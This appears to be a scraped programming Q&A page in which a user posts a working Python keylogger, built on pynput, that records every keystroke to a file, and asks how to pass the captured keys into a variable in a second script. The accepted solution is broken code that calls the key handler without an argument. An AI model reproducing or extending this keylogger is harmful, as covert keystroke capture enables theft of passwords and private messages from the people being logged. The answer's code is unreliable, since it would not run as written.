Search code examples
pythonkeylogger

Send data from one python file to another


I have two python files k.py & key.py

I'm creating a keylogger & the code is in k.py

k.py code

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename = ("key.py"), level=logging.DEBUG, format='%(message)s')
def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

I'm sending this to key.py, So my question is how can i recieve the data from k.py & store it into a variable


Solution

  • key.py

    from k import *
     
    # calling functions
    # new use this funcation
    on_press()